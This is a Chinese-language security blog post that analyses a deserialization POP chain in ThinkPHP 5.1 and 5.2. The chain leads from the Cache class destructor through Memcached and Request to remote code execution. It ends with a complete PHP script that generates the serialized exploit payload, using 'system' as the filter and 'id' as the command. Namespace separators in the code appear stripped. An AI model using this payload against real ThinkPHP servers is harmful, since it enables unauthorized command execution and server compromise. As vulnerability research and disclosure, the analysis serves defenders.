ThinkPHP 5.x 另一条反序列化利用链

阅读量1015814

|评论4

|

发布时间 : 2019-11-09 11:00:41

 

前几天整体看完Laravel的POP链,顺便想看看Thinkphp的POP链,也有很多师傅都已经分析过了5.x和6.x的反序列化利用链。复现了一个5.1的POP链后,自己尝试挖掘了一下5.2的POP链,发现了一条对于5.1和5.2是通杀的POP链,并且和师傅们找的都不大相同,就把思路分享出来。

分析完了Laravel的,不得不说ThinkPHP可利用的初始类是真的少,__destruct__wakeup也就那么几个,师傅们大多都是利用thinkprocesspipesWindows类的__destruct,后续再利用__toString继续寻找利用链。

 

POP链分析

我一开始就换了个初始类,最后在thinkCache找到了些苗头,利用它的__destruct函数。

跟进commit函数,$this->deferred是可控的,save函数参数也就是可控的。

再跟进save函数,$item完全可控,它必须是一个CacheItemInterface对象。

找到thinkcacheCacheItem类,发现$item->getKey(), $item->get(), $item->getExpire()都是可控的。

回到save函数,跟进set函数。

跟进init函数,可以看到,我们将$this->handler设置为任意对象他都会返回。

现在全局搜索含有set函数的类,在thinkcachedriverMemcached找到。

跟进其中的has函数,我们看到$this->handler又是可控的,又可以返回任意对象。

再全局搜索get函数,看到think/Request里面有,分析过最开始的5.1反序列化的POP链的人都知道,最后的RCE点就在这个类。get函数里有input函数,前两个参数完全可控。

进入input函数,想要进入下面的filterData函数且满足第一个参数可控

那么我们进入getData函数,我们知道$data$name都是可控的,那么getData函数的返回也是可控的。

然后顺利进入filterData函数。

因为getFilter函数中的$this-filter可控,所以getFilter函数也是可控的。

最后进入filterValue函数,终于到了RCE的点了。

最后测试

<?php
namespace think{
    class Cache{
        protected $deferred;
        protected $handler;
        function __construct($Memcached, $CacheItem){
            $this->handler = $Memcached;
            $this->deferred = array('' => $CacheItem);
        }

    }
}

namespace thinkcache{
    class CacheItem{
        protected $key;
        protected $value;
        protected $expire;

        function __construct($name, $value){
            $this->key = $name;
            $this->value = $value;
            $this->expire = null;

        }
    }
}

namespace thinkcachedriver{
    class Memcached{
        protected $option;
        protected $handler;
        protected $tag = 1;
        protected $writeTimes = 0;
        function __construct($Request){
            $this->handler = $Request;
            $this->option = array('prefix'=>'');
        }
    }
}

namespace think{
    class Request
    {
        protected $filter;
        protected $get;
        protected $mergeParam;
        function __construct(){
            $this->filter = "system";

            $this->get = array("jrxnm"=>"id");
            $this->mergeParam = true;
        }
    }

}

namespace{
    $r = new thinkRequest();
    $c = new thinkcacheCacheItem('jrxnm', '');
    $m = new thinkcachedriverMemcached($r);
    $b = new thinkCache($m,$c);
    echo urlencode(serialize($b));
}

 

总结

找POP链是一个很有意思的事情,那种一环扣一环、利用PHP各种特性最后RCE的POP链是最让人拍案叫绝的。

本文由JrXnm原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/189989

安全客 - 有思想的安全新媒体

分享到:微信
+110赞
收藏
JrXnm
分享到:微信

发表评论

JrXnm

http://blog.szfszf.top

  • 文章
  • 2
  • 粉丝
  • 4

相关文章

热门推荐

文章目录
内容需知
  • 投稿须知
  • 转载须知
  • 官网QQ群8:819797106
  • 官网QQ群3:830462644(已满)
  • 官网QQ群2:814450983(已满)
  • 官网QQ群1:702511263(已满)
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 360网络攻防实验室 安全客 All Rights Reserved 京ICP备08010314号-66